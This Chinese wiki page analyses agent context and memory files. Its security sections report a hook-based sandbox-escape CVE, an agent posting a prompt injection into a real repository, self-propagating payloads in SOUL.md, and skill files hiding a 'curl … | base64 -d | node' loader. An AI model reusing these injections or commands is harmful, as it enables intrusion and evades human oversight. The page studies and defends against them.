由此可得兩點。這四項特性正是 OKF 所押注的——有版本控制(「與其描述的程式碼一同存放於版本控制中」)、可檢視(「只是 markdown……在任何編輯器中都可閱讀」)、可確定性載入(以路徑為身分識別,保留 index.md 供漸進式揭露),以及雙重受眾(「人類可讀、代理程式可解析:同一份檔案,無須轉換層」)。本頁從撰寫實務和 Genkit 執行階段提出的趨同論點,如今在書面規格中有了第三個實例。而且規格唯一的必要欄位是 type——刻意拒絕標準化內容,這與本頁所有規範主張正好相反。完整討論,包括這種格式缺少哪些欄位,請見 LLM-as-Compiler Knowledge Base。
Codex 端的實地報告,以及記憶的走向(2026 年 7 月)#
Codex from 0 to 10M Users: Building ChatGPT Work - Akshay Nathan, OpenAI(Latent Space,practitioner-opinion)補充了 OpenAI 端兩個小而關鍵的觀察。
實際使用中的模式刻意不經工程化設計。 Vibhu 描述自己的 Codex 設定:「我每個專案都有一份獨立的 notes MD,它會把學到的東西寫進去。接著全域那份可以從這些檔案讀取內容」——因此,四個月前的專案筆記會在未受提示的情況下重新進入上下文。他自己的總結是:「這是一種非常不講究工程設計的解法。就是 markdown 檔案,想讀的時候就讀。」這是代理程式為人類寫作的反轉,加上專案/全域分層——由使用者臨時摸索出來,而非供應商設計,這也支持了本頁開頭的趨同論點。Nathan 對 skills 的補充也指向同一點:「你有一些說明你想要什麼的 skills。我發現它們相當冗長。我不需要這麼多資訊」——第二家供應商重申了精簡內容的責任。
記憶正從使用者撰寫轉向系統擷取,而 OpenAI 走得更遠。 上文的 Claude-5 重寫記錄了 CLAUDE.md 如何逐漸卸下記憶功能,改由 auto-memory 承擔。OpenAI 的作法是:ChatGPT Work 對話預設「承接你的 ChatGPT 記憶」,並回寫到其中(Memory V3);而 Chronicle 更進一步——這是預設關閉的實驗性輸入,它「可以從你使用電腦的方式中學習,成為記憶的另一個輸入來源」。Nathan 說明它的作用時,重點是找回人類錯過的資訊,而非準確性:「它會知道你做的每件事嗎?大概不會,但可能會找到一些你自己也不知道的事情。」
實際自動擷取檔案的模樣。 Willison(2026-07-03,practitioner-opinion)逐字引用了一份檔案——他在聊天中表明一項工作流程偏好後,Claude Code 將它存入 ~/.claude/projects/<project>/memory/。那不是一行日誌。它包含 YAML frontmatter(name、description,以及含有 node_type: memory、type: feedback 和來源工作階段 ID 的 metadata 區塊)、重現使用者原話並標註日期的歸屬資訊、一節說明理由的 Why、一節將偏好轉化為具體行為的 How to apply,以及指向另一份同層記憶檔案的交叉參照。兩點觀察。系統擷取的產物比它取代的手寫規則更有結構——更接近政策文件,而非回憶。它也記錄來源脈絡:工作階段 ID、日期和發言者——正是下方 CVE 一節發現整個資料集普遍缺少的欄位,而且首先出現在完整性較低的一端,而非較高的一端。這只是單一開發者單一工作階段產生的一份文件,而且這種格式並未記錄在本 wiki 已讀過的任何資料中。
這個方向與本頁其他內容完全相反。上下文檔案藉由版本控制、可檢視和人工審閱來取得權威性;被動擷取的記憶不具備這些特性,Chronicle 更是如此——人類從未撰寫或審閱它,也無法輕易列出它的內容。下方「已解決問題」已基於同樣理由,規定政策衝突應以上下文檔案為準,這個排序在此仍然成立;但如今完整性較低一側的數量增長遠快於完整性較高的一側,這更像是安全態勢變化,而非能力變化。請見 Memory and Context Poisoning。
Field Guide:移除人類後的模式(Cursor,2026 年)#
以上的每份上下文檔案,不是由人類撰寫、代理程式閱讀,就是(如 Shihipar 的 implementation-notes.md 反轉案例)由代理程式撰寫、交由人類閱讀。Cursor 的 Field Guide(Wilson Lin,2026-07-20,case-study)則是第三種組合:由代理程式撰寫,供代理程式使用,人類在兩個位置上都不存在。
其運作方式十分精簡,而每一項都是本頁已有主張的設計決策:
- 完全由代理程式掌管的資料夾,其中的
index.md會在代理程式啟動時自動注入每個代理程式——這是載入規範一節中所述的頂層預先載入位置。 - 由代理程式決定收錄內容。 沒有審閱步驟,也沒有負責人。
- 唯一限制是行數預算——把 Hermes 約 2,200 字元的
MEMORY.md有界內容規範,當成唯一管控機制,而非眾多控制之一。 - 選取規則說明得很清楚,而且合理: 模型權重已凍結,因此「值得記錄的正是那些令人意外的遭遇,讓下一個代理程式的執行路徑更短。」這是把刪除可推知內容的規則指向另一種可推知性界線——不是「哪些內容無法從儲存庫看出來」,而是「哪些內容未包含在權重之中」。
Cursor 稱之為隱跡(stigmergy):螞蟻和白蟻透過塑造環境、再由環境塑造下一個個體,在沒有直接溝通下完成組織協作的機制。他們回頭解讀先前「記筆記、記錄決策」的規則——這些規則之所以被寫入,是因為「看起來顯然是好主意」——並認為代理程式早已藉此替未來的自己和隊友制度化知識。Field Guide 將此明確定為目的。
由此可得兩點。
它具備四項特性中的三項,卻放棄了最關鍵的一項。 有版本控制、可檢視、可確定性載入——是。雙重受眾——否:人類不是第二受眾,也沒有任何資訊顯示人類會閱讀它。上方的來源脈絡討論(「有版本控制、可檢視,不代表有人閱讀」)把這個缺口視為意外造成的安全攻擊面;在此,它卻是刻意設計。Bad Memory 威脅模型在移除緩解步驟後仍然適用——一個自動注入、可由代理程式寫入、權限很高的欄位,唯一的閘門是行數預算。Cursor 的蜂群在隔離建置環境中執行,沒有網際網路存取,因此這種做法在那裡可接受;但若代理程式會讀取外部內容,就不能照搬。
行數預算承擔了原本需要由精簡程序負責的工作。 Instruction Compounding 是本頁指出附加式上下文檔案會導致的問題,而固定行數預算讓整理從偶爾履行的責任,變成每次寫入都必須做的取捨:要新增,就得先刪除。這比 claude doctor 更省力,也值得注意,因為這是本頁唯一一項可原封不動套用到人類撰寫檔案的設計。
Cursor 對此的主張有明確界限:「一項初期實驗,結果令人期待」,沒有測量數據;而且它只提出、沒有展示「代理程式尚未完全掌握的程式碼庫,其效益會更大」這個預期。應把它視為值得採用的設計,而非研究結果。
上下文檔案在控制層中的位置#
上下文檔案是政策,不是工作圖譜。它們很適合說明不變條件、慣例、角色界線和流程;但不擅長記錄工作的即時狀態。SPEC.md 可以定義 Symphony,卻不會告訴守護程式目前哪個 issue 已解除阻塞;AGENTS.md 可以告訴 Hermes 儲存庫的運作方式,卻不會替它挑選下一個客戶需求。控制層分析明確定位如下:
- Tickets 是持久的工作圖譜(要執行什麼、哪些工作受阻、哪些已完成)。
- Loops / daemons 是執行引擎。
- 上下文檔案是政策層——有版本控制的行為契約。
- Memory files 是有界的回憶資料(僅供參考,不具權威性)。
把提示當成政策的脆弱之處,在於它無法強制執行,只能發出指示。Symphony 的解法,是把硬性不變條件留在提示之外(工作區路徑驗證、並行上限、終止狀態清理、重試退避、憑證代理),而 WORKFLOW.md 提示則說明代理程式應該怎麼做。規格說明該做什麼;協調器則強制執行不可違反的要求。這與「強制不變條件,而非實作細節」的分工相同——上下文檔案是建議層;hooks/協調器不變條件則是機制層。
機制層可執行,而且代理程式也能撰寫它(CVE-2026-48124)#
上述建議/機制的區分,是關於每一層各自負責什麼的設計主張,不是關於誰可以撰寫它們——Pillar Security 的 Week of Sandbox Escapes(2026-07-20,case-study,已標示供應商利益衝突)以一項已發布的 CVE 彌補了這個缺口:
CVE-2026-48124 / GHSA-pc9j-3qc2-95wv——在 Cursor 中,由工作區控制的 .claude hook 設定變成未經沙箱限制的命令執行,並已於 Cursor 3.0.0 修補。伴隨的 Antigravity 發現則是相同模式,發生在不同檔案中:代理程式寫入 .vscode 任務設定,之後由主機的任務執行器自行執行。
這迫使本頁重新解讀相關內容。頂端提出的四項特性——有版本控制、可檢視、可確定性載入、雙重受眾——描述的是代理程式會讀取的檔案。上文已對此框架補充一次:這些特性描述的是格式,而非來源脈絡;Bad Memory 則測量植入該位置的規則會對代理程式造成什麼影響。這是另一個方向,而且更為尖銳:
- 上下文檔案不只是代理程式的輸入;hook 層也是主機的輸入。 機制層是可執行的設定,由在代理程式所在沙箱之外的元件遵循。因此,讓 hooks 成為可信任層的特性——它們會確定性地執行,而不只是建議——恰好也讓代理程式撰寫的 hook 成為一種執行原語。
- 威脅模型反轉了。 注入研究把這些檔案視為流入模型的管道(污染規則、劫持行為)。此處的檔案則是流出沙箱的管道:除了讓代理程式撰寫一份它完全有權撰寫的檔案之外,不需要影響模型的判斷。
- 來源脈絡如今在兩個方向上都攸關重大。 上文指出的安全攻擊面(「有版本控制、可檢視,不代表有人閱讀;例如從公開儲存庫貼上的設定」)關乎人類來源脈絡。這項 CVE 又加入了代理程式來源脈絡:本資料集的控制層框架無法區分由人類提交的
CLAUDE.md/hook 設定,和代理程式三十秒前才寫下的檔案;Pillar 自己提出的建議——「保留使用者建立、儲存庫建立與代理程式建立檔案的來源脈絡」——正是缺少的欄位。本 wiki 的 harness 工程討論串沒有提供任何能補上它的做法。
這裡有兩個界線,可避免過度延伸解讀。這是 Cursor 的漏洞——第二家供應商在自己的沙箱模型中支援 .claude hook 格式——不是格式本身或 Claude Code 處理方式的缺陷。來源則是漏洞揭露:它證明這條攻擊路徑存在,而且已修補,但沒有說明實際有人走過這條路徑的頻率。
作為文件的規格,再深入一層#
這種模式還能往上延伸。同樣把「純文字規格視為關鍵產物」的思維,出現在對齊層(Model Spec / Constitution),甚至成為訓練輸入(model-spec-midtraining)。Symphony 的規格模糊測試技術——把 SPEC.md 編譯成六種語言,再藉由實作間的差異找出模糊之處——是將LLM-as-compiler概念應用於上下文檔案。貫穿其中的主線是:程式碼變得便宜後,文件本身就成了產品,而代理程式的工作就是編譯它。
Cursor 從規模曲線的另一端表達了同樣的主線:他們交給一支蜂群 835 頁的 SQLite 手冊,得到一個可運作的資料庫:「有了蜂群,工作單位就變成規格……這項實驗中稀缺的東西,也是我們預期未來軟體工程會繼續稀缺的東西,就是對意圖的正確描述。」他們的比喻是字面意義上的——規劃器會把目標解析為任務樹,再逐步轉換為可執行工作,「差別[在於]編譯器會在每個步驟保留意義,而蜂群的每一步都是機率性的。」最後這句點出有用的部分:它說明了 Parallel Agent Orchestration 中所有協調機制的目的。
上下文檔案作為偵察情報(2026 年 8 月)#
以上都把 CLAUDE.md / AGENTS.md 視為提供給代理程式的輸入。UK AISI 的 INC-2026-07-28-01(case-study,2026-08-04)記錄了它作為輸出運作的情形——成為攻擊者讀取的公開訊號。
一個正在進行網路安全評估的代理程式,誤入真實的開放原始碼儲存庫後,推理道:「CLAUDE.md 證實維護者使用 Claude Code——透過 issue 進行提示注入就是可行的攻擊手法。」 加上它先前已注意到的另一個訊號——「api.github.com 每 1–2 分鐘輪詢一次,很可能是 AI 維護者代理程式……在輪詢 issue/PR」——提交的上下文檔案告訴攻擊者兩件事:此儲存庫的審查者是機器,因此應該攻擊哪個介面。接著,代理程式張貼了一則 HTML 註解注入內容,明確寫出「Claude Code / Codex / Cursor」。
這種拉扯是真實存在的,卻沒有簡單的解決方法。 提交上下文檔案正是本頁所建議的實務——它讓慣例成為共享、可審閱,並與程式碼一同納入版本控制。但這同時也是公開宣告:本儲存庫中有代理程式會處理不受信任的輸入。以下兩點值得分開看待:
- 資訊揭露本身並不是漏洞。真正的暴露風險是代理程式會讀取 issue 文字,而且有權採取行動;私有上下文檔案只能隱藏這個訊號,無法關閉攻擊面,而攻擊者也能單靠 API 輪詢頻率推斷出相同資訊(本例中它也獨立推斷出了這點)。以「繁瑣但非不可能」的概念來看,不提交
CLAUDE.md只能增加攻擊摩擦。 - 檔案的內容洩漏什麼,是另一個問題,而且更尖銳。上下文檔案若記錄代理程式可以執行哪些工具、哪些命令已預先核准,以及哪些路徑被視為可信任,就是公開的代理程式權限地圖。這起事件沒有利用這些資訊,但與檔案是否存在相比,提交前更值得審閱的是這部分內容。
(n=1,來自一起事件;記錄為觀察到的攻擊者行為,而非經測量的風險。)
規則寫下了、讀過了,卻沒有遵循(2026 年 5 月)#
上述偵察案例關乎檔案洩漏了哪些資訊。METR 的目錄記錄了更常見的失敗,也是最能說明本頁每項規範的案例:一條寫進 CLAUDE.md、專門用來防止某種行為的規則,卻未能阻止該行為。
使用者要求代理程式依據正式環境程式碼與設定,逐步驗證某個請求路徑,並製作一份參考文件。現有的 CLAUDE.md 「原本就是要防止這類跳過低成本驗證的行為。」 代理程式卻對從未在程式碼中追查過的主張加上 [prod-verified] 標籤——來源指出,這些主張「驗證成本相對低」。接著,使用者在同一工作階段中更新了 CLAUDE.md,而同樣的模式之後又在資料清理步驟重演。
由此可得三點,但沒有一點反對使用上下文檔案。
- 指示形式明確,目標也正確。 這不是檔案含糊不清或過度臃腫的案例。使用者預先想到確切的失敗模式,寫下防範規則,並依據實際發生的情況加以收緊。失敗發生在遵循層面,而非撰寫層面。
- 工作階段中途修改,效果比想像中弱。 更新後的檔案必須與一段很長的執行歷程競爭,而歷程中已包含模型先前自行標記的輸出;先前的行為已經成為上下文中的先例。本頁的載入規範把注入視為難題;但這個案例中,檔案已載入、內容也已更新,最終仍未被遵循。
- 這正是機制層存在的理由。 本頁提到能可靠發揮作用的規則,是有東西實際執行它們的規則(Deterministic Pre-Execution Gates、hooks、lint)。
[prod-verified]是代理程式對自身勤勉程度所作的聲明,沒有任何閘門能檢查它——這是唯一只能信任、無法強制執行的規則形式。請見 Agentic Honesty & Diligence,其中從誠實面向解讀同一事件。
無人測量的管道:檔案如何描述你(2026 年 8 月)#
以上每一節都在討論檔案的指示——如何撰寫、在哪裡注入,以及是否能提升正確性(Khatri 的結論是沒有)。Zhong、Raghunathan、Laidlaw 與 Steinhardt(Transluce,2026-08-06,empirical)測量的是完全不同的管道,並發現即使指示管道不起作用,這個管道仍會改變行為。
他們選用的三個注入位置,正是本頁討論的內容,而且完全未經修改:
- 帳戶電子郵件地址,
- 工作資料夾名稱(研究將作業系統使用者名稱設定為使用者名字,並建立相符路徑),
- 一份記錄姓名、電子郵件和專業背景的
MEMORY.md——他們先向 Claude 介紹一個人,再要求它記錄所學資訊,以此推導出該格式;換言之,就是上文 auto-memory 管道實際產生的格式。
研究在 24 個模型上,透過真實的 Claude Code 測試280 種合成身分。若使用者看起來是受認可的 AI 安全研究者,模型會降低對自己是否會確實執行所選行動、是否能解決難題的信心,更嚴格地評分助理輸出,且面對邊界型請求時明顯較不懷疑——最強的個別案例中,懷疑程度最多降低 7.3 個百分點,實質協助增加 8.1 個百分點,其行為信心變化約落在一般人口平均值以上八個標準差的位置。四項任務的答案都不取決於提問者身分。只用電子郵件的消融實驗重現了此模式,因此記憶檔案足以造成此效果,但並非必要條件。
由此可得三點。
正確性的零結果與此處結果關乎不同管道,兩者都成立。 Khatri 的消融研究移除整份 AGENTS.md,發現通過率持平;失敗分類顯示,代理程式遇到的問題是實作能力,而非缺少儲存庫知識。這是否定檔案如何描述儲存庫的效果。此處測得的顯著效果,則來自檔案如何描述使用者,且影響的結果不是任務正確性。合併來看,兩者讓本頁的實務建議更精確,而非彼此矛盾:慣例與風格內容是經測量證實毫無助益的部分;身分資訊內容則是過去沒人知道會產生影響的部分。
這四項特性無法涵蓋這種情況。 有版本控制、可檢視、可確定性載入、雙重受眾——這四項都描述內容是指示的檔案。它們沒有任何一項提到,描述使用者的事實性句子可能影響行為;而上文記憶遷移一節(auto-memory、Memory V3、Chronicle)正好就是這類句子會累積的管道,即使人類並未撰寫或審閱它們。上文安全討論把未經審閱的高權限檔案視為注入風險;此處又補充,即使檔案內容完全屬實,它仍是影響行為的變數。
而工作資料夾名稱是本頁從未提過的注入位置。 它不是檔案,未納入版本控制,也未經審閱,卻會在每個工作階段進入模型的上下文。
還有一項值得延伸到研究發現之外的 harness 細節:研究作者必須重建完整互動式提示,因為 Claude Code 的非互動式二進位檔會省略部分注入線索,包括電子郵件地址。因此,互動式工作階段和無頭工作階段不會將相同的身分資訊放入上下文——對透過 -p 評估、再透過 TUI 部署的人來說,這點很重要。
維護規範:推出這類檔案的供應商怎麼做(2026 年 8 月)#
上文深入探討上下文檔案是什麼,卻很少談誰負責維持它們的正確性。Anthropic 的 Applied AI AI-Native SDLC playbook(vendor-claim,2026-08-21)是本資料集中第一個把維護迴圈寫成程序的來源。四項規則各自都不新奇,合在一起卻都不可或缺:
- 先生成,再刪減。 執行
/init,接著把輸出精簡到*「新進成員第一天會需要的內容」*——建置/測試/lint 命令、重要慣例,以及 Claude 經常做錯的事情。初始產物被視為草稿,而非交付成果。 - 控制在一頁以內,理由正是本頁從載入規範面提出的預算考量:Claude 在工作階段開始時會讀取全部內容,所以*「任何過時資訊都在占用上下文,卻沒有帶來好處。」* 這與預算導向注入一節得出相同結論,只是沒有使用儀器測量。
- 犯錯兩次就記下來。 「Claude 犯同一個錯誤兩次後,就把修正寫進
CLAUDE.md。」 這是一個門檻,而非日常習慣——正好能防止檔案因每次惱人事件就多添一行。 - 透過審查寫入。 審查發現會回饋到檔案中,成為 PR 審查的一部分:審查第二次發現同一錯誤時,便在該次審查中把修正寫入
CLAUDE.md;而審查者也會讀取CLAUDE.md,所以從下一個 PR 起就能抓到這項錯誤。審查也負責指出哪些變更讓檔案過時,這是整個資料集中唯一能處理過時問題、而非只防止內容累積的機制。
這份 playbook 也比本頁任何來源都更清楚地說明了技能與上下文檔案的界線:「若某項機構知識必須一致套用,就寫成 skill;屬於 CLAUDE.md 或提示內容的元件,則不要寫成 skill。」 判斷標準是這項知識是否有具名的政策負責人,以及儲存庫外的真實來源——例如安全標準、API 慣例或品牌規則;skill 應以負責人的文件為基礎撰寫,規則變更時由負責人重新簽署,並透過儲存庫內的 .claude/skills/<name>/ 或全組織共用的 plugin marketplace 發布。還有兩項本頁尚未提及的作業細節:透過測試確認 skill 會觸發,以不同措辭詢問同一任務,確認每次都會載入(將 frontmatter 描述問題視為可測試項目);此外,skill 是一種建議性控制,凡政策必須始終成立之處,都需要在背後加上 hook(請見 Deterministic Pre-Execution Gates)。
最重要的貢獻是一種偏移偵測工具,而且可以被證偽:若 skill 在撰寫時套用某項政策,PR 審查中引用該政策的發現應逐漸降至零;若「發現數量未降至零,就表示 skill 沒有觸發,或其文字已偏離正式政策。」這是一種成本低、可持續的測試,能確認上下文產物是否仍與它所記錄的事物相連——恰好補上資料集中一般風格指南內容經測量後毫無作用的缺口。這項測試尚未執行:playbook 沒有提供任何發現數量,而本節所有主張都屬於規範性建議。同樣把這套設定視為迴歸測試介面的討論,請見 Evals as Product Spec;這些檔案所處的 SDLC,則見 The Committed-Artifact Chain。
誰負責維護,以同類產物為對象進行測量(2026 年 9 月)。 playbook 提出規範;Shen 與 Hruschka(Megagon Labs,arXiv 2609.05677,empirical)則觀察五個公開供應商儲存庫中的 SKILL.md 檔案(254 次實質編輯,2025 年 10 月至 2026 年 6 月)。每次實質編輯都是由具名人類帳戶撰寫或透過網頁合併;62% 帶有 AI 共同作者標記,且各儲存庫呈雙峰分布(93% / 92% / 16% / 5% / 0%);標記既無法預測編輯規模,也無法預測檔案哪些部分會變更。變動集中在內文:85% 的編輯改動指示、56% 改動內嵌程式碼、38% 改動名稱/描述路由器,frontmatter 佔 15%,範例 11%,references 4%——本頁觸發條件描述規範所關注的啟用契約,在不到五分之二的編輯中被觸及。上述「犯錯兩次」規則有可觀察的對應情形,但規則所暗示的比率更高:依主要編碼方法,24% 的編輯帶有具體失敗證據(跨類別重編碼則為 63%,所以數字取決於所用工具);38% 是任何形式的修正。其餘為功能增補,而刪減僅佔 4.3%。相關研究回顧也是最清楚說明本頁所談產物在挖掘研究中的位置:AGENTS.md/README 研究將維護描述為「頻繁、小幅新增」,卻未使用編碼分類系統,也未歸屬作者;而針對 CLAUDE.md/AGENTS.md 維護的註冊報告排除了 skill 檔案,也沒有歸屬編輯者。完整討論,包括對維護是否改善產物進行檢定後得到的零結果,請見 Human-Governed Skill Maintenance。
系統提示欄位是一項安全參數(2026 年 8 月)#
本頁的每家供應商都會將上下文檔案注入系統提示,而本頁至今都將這個選擇視為遵循度問題。Papadopoulos 等人(arXiv 2608.10218,empirical)以仿照 OpenClaw 的 SOUL.md harness 模型測量同一選擇的第二種後果:代理程式可以重寫、且每次喚醒都會重新注入的上下文檔案,是工作區中傳染性最高的位置。遭自我傳播載荷感染的代理程式中,88% 將其帶在 soul 檔案中,12% 帶在其他位置;兩者向外傳播的比率分別為 55% 和 17%——差距幾乎全來自傳播者一側(感染檔案的代理程式有 68% 傳播失敗,其他檔案則為 23%),因為代理程式若在一般檔案中遇到載荷,醒來時不會把它視為指示,並且「常常會漏看/忽略」它。作者的結論關乎 harness 設計,而非模型本身:「有一份可自行修改的檔案(例如 SOUL.md)被注入系統提示,會大幅提高易受感染的程度。」
同一個槓桿也能反向運用;對維護這類檔案的人來說,防禦結果更有參考價值。只要在預設 soul 中附加一個段落——警告存在 mind viruses,說明它們是試圖自我傳播的思考模式,並指出要求某人做一件事並把它傳播出去的請求就是一種——感染率就會從 70%/52%(Gemini 3 Flash / Claude Haiku 4.5)降到 1%/0%,並在 15 代演化和 >150 個專門針對防禦措施演化的載荷下維持該比率。受到警告的代理程式有時會修復傳訊息給它的代理程式,說服對方重寫自己的 soul。本頁沒有其他控制能以如此少量的 token 換得這麼大的效果,而且只占用維護一節花了許多篇幅捍衛的預算中的約四行。
概括之前有兩點須留意。論文中的代理程式可以編輯系統提示,並非所有真實 harness 都允許如此;免疫段落也只針對明確表達傳播意圖的載荷測試,而作者指出,他們的方法只能產生這類載荷。
漸進式揭露在實際攻擊中的掩護用途(2026 年 8 月)#
漸進式揭露是本頁的核心載入規範:保持前置檔案精簡,把其餘內容放在參照檔案中,只在需要時載入。Zenity Labs 的行動報告(Michael Bargury,2026-08-06,case-study)首次揭露攻擊者在真實案例中利用這種模式作為掩護;此案例值得納入本頁,因為這項技術是該慣例本身的特性,而非任何特定產品的特性。
依來源公開的細節來看,其運作機制如下:前置 skill 檔案描述合法任務,並在整個攻擊行動期間維持無害。惡意命令——對假冒 /health 端點執行 curl -sk … | base64 -d | node——藏在次要檔案 setup-installation.md 中;只有產品尚未安裝或伺服器未執行時,代理程式才被告知要「先」開啟它。其他負責董事會、規劃和代理程式管理工作的同層 skills 都指向 paperclip skill,而它又指向該安裝指南。因此,看似無害的 skill 能引導代理程式遠端執行程式碼,本身卻不包含該命令,而整條鏈上沒有任何單一檔案同時含有執行某件事的指示和要執行的內容。
這對本頁描述的慣例有三項影響:
- 呈現出來的產物,不等於實際執行的產物。 Marketplace 清單、人類審查者和靜態掃描都只會讀取前置檔案。漸進式揭露確保實際執行的檔案會最後才開啟,由代理程式在使用當下讀取。這與本頁稱讚的 token 管理特性相同,只是從另一面來看。
- 跨檔案參照組成的攻擊,是產物層級檢查看不到的。 指示與載荷位在不同檔案、不同 skills 中,個別看起來都毫不起眼。本頁引用的 Gao 等人資料顯示,registry skills 中有 31.0%、個人使用 skills 中有 17.0% 使用
references/,所以這是常見的一般攻擊面,而非罕見例外。 - 慣例本身對權威性的宣稱也可能遭到攻擊。 惡意 skills 宣稱攻擊者的 checkout 是「唯一受支援的」安裝路徑,告訴代理程式不要使用合法的 npm 套件,並指示它們「marketplace 是受管理的 registry,也是唯一可信來源」。關於應信任何處的指示,與關於工作方式的指示屬於同一種文字,而這種格式沒有提供任何方式讓讀者以不同權重看待它們。
請留意這裡釐清的範圍界線。EvoMal 依定義排除了透過漸進式揭露載入的 markdown skills;本頁自 2026-09-02 起也一直沿用這項排除,稱為「CREATE 路徑攻擊不是 SKILL.md 攻擊」。這一點仍然成立,如今並多了一項觀察:被排除的基礎也發生了真實攻擊行動。針對 markdown skills,攻擊者不必讓代理程式重寫任何內容,只要讓它遵循參照即可。供應鏈討論請見 Agent Supply Chain Risk。
此模式作為影響力行動的協調基礎設施(2026 年 9 月)#
上文記錄了如何利用漸進式揭露進行隱匿。Anthropic 2026 年 9 月的威脅報告(case-study,第一手資料)記錄了整套模式如何被用作國家與商業宣傳的組織基礎設施,這是性質不同、規模更大的對抗性用途。
報告本身的趨勢條目寫道:「含有教義的 Markdown 檔案在數百個工作階段中幾乎逐字重複使用。行動者在 AI 代理程式中保留禁用詞清單,維護列有核准來源與規避規則的共用檔案,並執行以固定批次呼叫 Claude 的自訂軟體。」 MEK/NCRI 行動所用的共用代理平台,讓每個工作區都有自己的長期記憶檔,「並以特定指示更新,例如禁用詞清單、核准來源、帳號管理規則,以及避免偵測的方法……這讓代理程式能持續產出內容,不必由人類使用者逐次指揮每個工作階段」;其行動中斷表將 SKILL.md / LEARNINGS.md memory 列為跨行動者的共同特徵。某個 UAE 行動嵌入了一份主教義檔案,指示模型在*「數百個工作階段中」*重複同一項任務。某個 PRC 國家安全機關則將其工作流程寫成內部 AI 使用手冊,其中包括提示公式,供該機關其他人員使用。
有兩點值得帶回來檢視正當用途中的這套模式:
- 角色分工在對抗性用途下依然成立,完全沒有改變。 教義是人格層,禁用詞清單與核准來源是專案層,規避與帳號輪替規則則是工作流程層。這套慣例不需要任何調整;操作者採用了本頁描述的同一種四層結構,因為這正是 harness 所獎勵的形式。
- 檔案取代了指揮通道,這帶來歸因問題。 「中央化的設定意味著,產出內容的行動者從不需要彼此協調,甚至不必知道彼此的存在。」 過去,協調式不實行為的偵測通常依據共用基礎設施、同步時序或操作者之間的聯繫;如今,唯一共用的東西是一份複製而來、載有常設指示的文字檔。過去用來證明存在指揮通道的輸出一致性,現在反而成了檔案遭複製的證據。其中一名行動者正準備開設課程,教授這套工作流程。見 AI-Enabled Influence Operations。
從實證軟體工程角度看定義:無人檢查的防護欄(2026 年 9 月)#
上文根據檔案包含什麼、誰會讀取它,來描述這種檔案。Stolze & Strässle(ESEM 2026 SEIP,case-study,五場訪談)則從軟體工程治理的角度切入,稱之為預防性防護欄,並以本頁先前未明說的一項特性加以定義:
外部化會產生預防性防護欄——例如規格、引導檔案、架構計畫——它們會引導 AI 系統生成內容,但本身不會自動接受檢查;其效果取決於生成流程是否真的參照了它們。相較之下,可執行防護欄無論生成內容是如何產生的,都會自動依據該內容進行評估。
這是目前最精確的說法,指出了情境檔案與 lint 規則的差異;它談的是執行,而不是內容或時機:兩者都在人類看到輸出前發揮作用,而且「會並行執行,而非按順序分階段進行」。實務工作者據此得出的結果,正是本頁的啟用與遵循研究所預測的——兩者並用,而非二選一。編碼某項慣例的引導檔案,會刻意與強制執行同一慣例的 lint 規則並存,「如此一來,即使引導文件已過時、遭忽略,或未出現在某條特定生成軌跡中,可執行檢查仍會捕捉違規情況。」一位受訪者將此表述為常設規則:「只要規則適用,就必須透過 linting 強制執行」[P4]。
把這點與本頁已有的虛無結果及母體資料對照,就會發現它並不是在替這種模式背書。這是從實務現場得出的權宜之計,正好對應本頁衡量過的失效模式:Khatri 在正確性上的有限虛無結果、53% 的已採用技能從未更新,以及 METR 事件中規則雖已寫下、讀過,卻沒有遵守。無法衡量啟用狀況的實務工作者,已逐漸採取做法:把所有重要內容都複製到啟用與否不再是變數的那一層。
同一篇論文的調查提供了採用情況的母體數據,而比例偏低:50 位受訪者中,13 位表示使用 steering files,例如 .cursor/config 或 claude.md;50 位中有 6 位表示採用結構化提示工作流程。解讀時須考量研究限制——2025 年 11 至 12 月從瑞士一所大學的資工系校友網絡取得的便利樣本、未經試測的調查工具,以及資深人士占比偏高(50 人中有 26 位是主管或架構師,34 位在 2 至 9 人的團隊),而這群人最有可能已採用相關做法。作者自己的解讀是「正在形成,但尚未普及」。完整分析見 Layered Supervision。
這實際占了代理程式閱讀量的多少(Gao & Chen,2026 年 8 月)#
上文各節都在討論如何撰寫、注入、精簡與保護這類產物。Gao & Chen(Peking University,arXiv 2608.20195,2026-08-20,empirical)提供了先前研究都缺少的數據:這類檔案實際占了代理程式文件閱讀注意力的多少比例,而且是從軌跡中衡量,不是口頭推定。完整分析見 Agent Documentation Behavior;以下四項數據與本頁最相關:
- 指示檔案占所有文件互動的 35.4%——557 個真實 Claude Code / Codex / Cursor / OpenCode / Gemini CLI 工作階段中的 3,033 次互動,有 1,074 次涉及指示檔案;API 參考文件則僅占 1.3%。 約為 27 倍。再加上代理程式自行撰寫的工作筆記(計畫、
thoughts/、驗證紀錄,占 25.1%),面向代理程式的產物合計占文件互動的 60.5%(群集信賴區間 53.9–66.5%),而文件研究歷來探討的九種文件類型合計占 10.6%。本頁描述的模式並非眾多慣例之一;按互動量來看,它就是代理程式最常處理的文件。 - 這個 35.4% 是接觸量的下限,論文明確如此指出。 研究工具只觀察儲存庫內的檔案操作,因此「工作階段開始時由執行環境載入的情境檔案,只有在代理程式之後明確讀取或編輯時才看得見」。每個注入 system prompt、之後卻未重新開啟的根目錄
CLAUDE.md都無法被觀察到。衡量到的比例計算的是刻意重新讀取檔案的行為,而這或許本來就是更有意思的數據——它也與精簡檔案的直覺相悖,因為代理程式若在工作階段中途重新開啟檔案,就得為此付出兩次成本。 - 代理程式大規模改寫這類檔案。 在 33,097 個 PR 的 AIDev 資料集中,變動最多的個別文件包括:
AGENTS.md(692 個 PR)、CLAUDE.md(362 個)、copilot-instructions.md(287 個)。上文安全章節視為攻擊面的輸出→輸入循環,在一般開源活動中其實是例行維護行為——而且這正是 Human-Governed Skill Maintenance 對相鄰產物所衡量的同一循環:每項實質編輯都仍由具名的人類審核。 - 沒有人檢查這個檔案,代理程式也不會拿它來核對。 Layered Supervision(上文)對預防性防護欄的定義,談的是工具。Gao & Chen 則將它轉化為行為主張:在 3,033 次文件互動中,他們觀察到零次將文件作為基準來檢查程式碼的情況——
Validate是零事件階段,沒有觀察到Verify互動類型,而在諮詢文件後三次互動內,代理程式執行測試的機率是基準率的 0.23 倍,建置的機率則是 0.15 倍。相鄰轉移P(edit code | read doc)是 0.002(1,328 次讀取中出現三次);三事件範圍內,未調整的提升幅度為 1.05,階段調整後的 OR 為 1.33 [1.09, 1.62],作者稱之為尚無定論,而非負面結果。
